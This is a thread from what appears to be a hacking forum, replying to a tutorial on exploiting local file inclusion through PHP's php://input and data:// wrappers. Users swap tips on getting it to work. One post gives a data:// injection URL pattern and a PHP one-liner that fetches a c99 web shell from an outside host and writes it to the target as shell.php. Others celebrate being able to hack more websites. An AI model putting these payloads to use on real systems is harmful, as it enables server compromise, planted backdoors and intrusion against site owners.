Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TuT] Exploiting LFI with PHP://INPUT filter [TuT]

Thank you! I've been trying to figure out on my own how to apply LFI exploits to Windows servers so this should be really helpful.
Bro please Upload Hd Version Of This Video

To short...
I am not sure if HF people deserve to know about wrappers.
They will just copy pasta from your tut...
Thanks, great tut, I knew about the wrappers... but I never for one second thought about using them to hack via LFI. ^_^

I do have one problem though:
PHP Code

<?php 
Warning
: include(php://input) [function.include]: failed to open stream: operation failed in /xxx/test.php on line 2 

I get it to work with fopen / file_get_contents just fine though :D thanks again,
@Hooded Robin, data wrapper works perfectly! I noticed php://input doesn't get blocked by security but data:// sometimes does.

Even still... does anyone know why I keep getting a php error when trying to POSTDATA a php code using php://input in a LFI (which uses includes() ) ?

^ using wrappers unlocks a load more websites to be hacked. :D
Robin, The server I've been testing it on is my own. I've added only the basic firewalls etc. You were right, I had php:// disabled. Weird how it's disabled php:// but not data:// ^_^

--

For anyone interested in the data wrapper here is a demo;

http://exampe.com/index.php?page=data://...64,aGVsbG8=
and replace the aGVsbG8= with a base64 encoded php script (including the <? and ?>)

remember... if wget/system is disabled use this;

<?$fh = fopen("shell.php", 'w');fwrite($fh, file_get_contents("http://yourwebsite.com/c99/c99.txt"));fclose($fh);?>


Possibly Related Threads...
Thread / Author Replies Views Last Post
by whitepawnNov 1, 2019 11:42 AM 3 320 Nov 1, 2019 11:42 AM
Last Post: Ramb0x
by NexiumMay 8, 2019 12:06 AM 0 242 May 8, 2019 12:06 AM
Last Post: Nexium
by ExperTTNov 21, 2018 06:52 AM 2 200 Nov 21, 2018 06:52 AM
Last Post: Abruptum